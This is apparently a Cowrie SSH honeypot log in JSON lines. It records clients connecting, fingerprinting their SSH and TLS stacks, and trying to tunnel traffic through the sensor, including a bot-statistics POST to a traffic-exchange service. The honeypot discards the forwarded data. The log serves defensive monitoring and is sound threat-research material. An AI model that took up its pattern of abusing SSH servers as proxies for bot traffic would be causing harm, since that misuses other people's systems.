{"eventid":"cowrie.session.closed","duration":"19.6","message":"Connection lost after 19.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:37.657619Z","src_ip":"23.148.145.132","session":"80dde302e6dd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:37.706973Z","session":"736d7b197a1c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:38.181814Z","src_ip":"113.164.152.20","session":"736d7b197a1c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; T8 Max Build/QQ1D.200105.002) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=V3hCakkmTEwoMWpKaW8lKg%3D%3D3KxNflgLHWIRp0199Aja1gGe93x2a2IeZJEuLe7qqEiThfkrSeEiecGanVuuGkQHjlFgSl3zyqBKAAcZ%2FJMcloiIUQQiBiBuYCivNgeDTjrXjefqsw0F3E1mfSKxdFnzEsSKEAu5AkLe%2B2iac7KHy5nmJATi%2Fbhj0OBrZyKAzVMZdJLerbP6ZcVwyAepA9ZRrURgrHSq5i2u6O2NAx0toXltFXQbi2PzeGl7mK2mjzIKiokHbkZb5YCw83UTDiwbB4ikB1vE2nUaMLmXDSATsk%2BxutUeAfWOBTHq3EojPPV6izOi2cO%2BpnmxiHazYWwrfsCwFAJewdNNwJr13JWBCFX%2FD3xQ4oUXGPjIm7FvdFNAt1SA7hNLOg5aER2b9NIpIVYWYROu7Uy%2BT4osGZE%2Bf%2F1%2BP2R2dLgYxThqFEwc%2FH0EZRd0g2p4AAgNA4%2FmDdoCFVtqMaimsAU6%2FqvlmuzVpdjOIwzqjqAMNw3M1gdkslephbiWMRadL9%2FX8M6mDCQPY2wwvM0FQX23Rk%2B%2FLAVyBuib8r1ZfhFeqI34Q%2Fz8JyCRSouTa3q00lZ2fs4TLU6pPX19guv14UDKEH43abXir9MRJZSRXT7mpF%2B7gkDNrMacp7IBn%2B2P4HuuGNpPCO4WiLKdf2PgR47ZRpmomNBLO8iVBv7qxW8T5q6fdfxhe3ULprBzNL%2FMcm0AR1ZU2Dc1T01GEhVXYrHsNfGNz3whOyByvO8FluZ5i7YPkPuZ6odqJHoagnuhEP%2FFRcCJ2wp8AbMe3SJuhJrbNjH8S%2Fxwt7UqTK%2Fhp8pw8Qg4fHQgJt4r04xEvY5kAwXp668%2FyG%2Fq7k7gAR2XOLl9QUzakfPsqiOzgb0jOxp3PHm8hfbWLKf1DFSsx1CZ6HFsuGovvp9TEyAVrCdhCDIgjx%2FLs3rGnySa32CULm3ClQk7ZTjdcJTy5Vd%2FmzwxQvql3UKQBjIdu4C8NI4QsM20%2Bo9C81ODf%2BGS19%2B3BxCaA%2FkKLANKN34NQKW6Lb2Ub5u3wKArBxBDVnrjRCV9lvhLClWawEylVjh9f814XR5su3urRsi83Ng%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; T8 Max Build/QQ1D.200105.002) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=V3hCakkmTEwoMWpKaW8lKg%3D%3D3KxNflgLHWIRp0199Aja1gGe93x2a2IeZJEuLe7qqEiThfkrSeEiecGanVuuGkQHjlFgSl3zyqBKAAcZ%2FJMcloiIUQQiBiBuYCivNgeDTjrXjefqsw0F3E1mfSKxdFnzEsSKEAu5AkLe%2B2iac7KHy5nmJATi%2Fbhj0OBrZyKAzVMZdJLerbP6ZcVwyAepA9ZRrURgrHSq5i2u6O2NAx0toXltFXQbi2PzeGl7mK2mjzIKiokHbkZb5YCw83UTDiwbB4ikB1vE2nUaMLmXDSATsk%2BxutUeAfWOBTHq3EojPPV6izOi2cO%2BpnmxiHazYWwrfsCwFAJewdNNwJr13JWBCFX%2FD3xQ4oUXGPjIm7FvdFNAt1SA7hNLOg5aER2b9NIpIVYWYROu7Uy%2BT4osGZE%2Bf%2F1%2BP2R2dLgYxThqFEwc%2FH0EZRd0g2p4AAgNA4%2FmDdoCFVtqMaimsAU6%2FqvlmuzVpdjOIwzqjqAMNw3M1gdkslephbiWMRadL9%2FX8M6mDCQPY2wwvM0FQX23Rk%2B%2FLAVyBuib8r1ZfhFeqI34Q%2Fz8JyCRSouTa3q00lZ2fs4TLU6pPX19guv14UDKEH43abXir9MRJZSRXT7mpF%2B7gkDNrMacp7IBn%2B2P4HuuGNpPCO4WiLKdf2PgR47ZRpmomNBLO8iVBv7qxW8T5q6fdfxhe3ULprBzNL%2FMcm0AR1ZU2Dc1T01GEhVXYrHsNfGNz3whOyByvO8FluZ5i7YPkPuZ6odqJHoagnuhEP%2FFRcCJ2wp8AbMe3SJuhJrbNjH8S%2Fxwt7UqTK%2Fhp8pw8Qg4fHQgJt4r04xEvY5kAwXp668%2FyG%2Fq7k7gAR2XOLl9QUzakfPsqiOzgb0jOxp3PHm8hfbWLKf1DFSsx1CZ6HFsuGovvp9TEyAVrCdhCDIgjx%2FLs3rGnySa32CULm3ClQk7ZTjdcJTy5Vd%2FmzwxQvql3UKQBjIdu4C8NI4QsM20%2Bo9C81ODf%2BGS19%2B3BxCaA%2FkKLANKN34NQKW6Lb2Ub5u3wKArBxBDVnrjRCV9lvhLClWawEylVjh9f814XR5su3urRsi83Ng%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:38.185442Z","src_ip":"113.164.152.20","session":"736d7b197a1c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:38.189097Z","src_ip":"113.164.152.20","session":"736d7b197a1c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03A\\x9eb\\x11\\xc5\\x1d\\x01\\xb0\\\\\\xae\\x17\\x18\\xf2]\\xf8\\x8fi\\xb4\\xab6\\xf3\\xf1'o\\xfd\\xd61\\xa5\\x07\\xfe\\xec\\x91 \\xd0_\\xb2\\xfa?\\xe4\\x97q\\xcc\\xd4\\x852k\\xe4\\xf8\\x96\\xaba\\xfa\\xfeX1+\\xf9\\xd0!\\xddK\\xa8\\xfd[U\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x91\\xe1s\\xb6qF\\x86\\x0f\\xa7\\xa2`\\xfe\\xdc\\xc1\\xa7 \\xc9D\\xb5\\x89D\\x1c\\x92G\\x97\\x9ao\\x16n \\x7f\\x19\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03A\\x9eb\\x11\\xc5\\x1d\\x01\\xb0\\\\\\xae\\x17\\x18\\xf2]\\xf8\\x8fi\\xb4\\xab6\\xf3\\xf1'o\\xfd\\xd61\\xa5\\x07\\xfe\\xec\\x91 \\xd0_\\xb2\\xfa?\\xe4\\x97q\\xcc\\xd4\\x852k\\xe4\\xf8\\x96\\xaba\\xfa\\xfeX1+\\xf9\\xd0!\\xddK\\xa8\\xfd[U\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x91\\xe1s\\xb6qF\\x86\\x0f\\xa7\\xa2`\\xfe\\xdc\\xc1\\xa7 \\xc9D\\xb5\\x89D\\x1c\\x92G\\x97\\x9ao\\x16n \\x7f\\x19\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:38.191788Z","src_ip":"113.164.152.20","session":"736d7b197a1c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:38.461978Z","session":"736d7b197a1c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:38.726692Z","src_ip":"113.164.152.20","session":"736d7b197a1c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8d\\xe2b\\x9f\\xc8\\xf2\\xabO\\xb4\\x90|\\x93\\xd4\\xd7\\x87\\xd1)8\\xf0\\xc0T\\xc8\\xca_\\x96n\\xe0\\xaf\\xd8:\\xb2\\xd7 \\xee\\x12\\xbc\\x1a)\\xca\\xb5\\x1fj:Qp\\xdd\\x9b\\xbe\\xab\\xb6O\\x89\\xc8UN\\xc1\\x06\\xf6\\x01\\xa7y\\x83&\\xd8w\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 xr)\\xc1:\\x9f\\x9a\\xfa\\xed-\\xa4\\xd3\\x81\\xd6\\x0e\\xa3\\x9d\\xcd\\xf1\\x06\\xbb\\xa5@q5\\x8b~M\\x81\\xc4\\xebq\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8d\\xe2b\\x9f\\xc8\\xf2\\xabO\\xb4\\x90|\\x93\\xd4\\xd7\\x87\\xd1)8\\xf0\\xc0T\\xc8\\xca_\\x96n\\xe0\\xaf\\xd8:\\xb2\\xd7 \\xee\\x12\\xbc\\x1a)\\xca\\xb5\\x1fj:Qp\\xdd\\x9b\\xbe\\xab\\xb6O\\x89\\xc8UN\\xc1\\x06\\xf6\\x01\\xa7y\\x83&\\xd8w\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 xr)\\xc1:\\x9f\\x9a\\xfa\\xed-\\xa4\\xd3\\x81\\xd6\\x0e\\xa3\\x9d\\xcd\\xf1\\x06\\xbb\\xa5@q5\\x8b~M\\x81\\xc4\\xebq\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:38.729886Z","src_ip":"113.164.152.20","session":"736d7b197a1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:39.099849Z","src_ip":"113.164.152.20","session":"736d7b197a1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.46.222.137","src_port":57819,"dst_ip":"10.17.0.5","dst_port":22,"session":"53e60208b37a","protocol":"ssh","message":"New connection: 38.46.222.137:57819 (10.17.0.5:22) [session: 53e60208b37a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:39.390462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:39.518510Z","src_ip":"38.46.222.137","session":"53e60208b37a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:39.709677Z","src_ip":"38.46.222.137","session":"53e60208b37a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:40.042727Z","session":"9544df6ea62a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:40.047374Z","session":"9544df6ea62a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:40.105566Z","src_ip":"38.46.222.137","session":"9544df6ea62a","protocol":"ssh"}
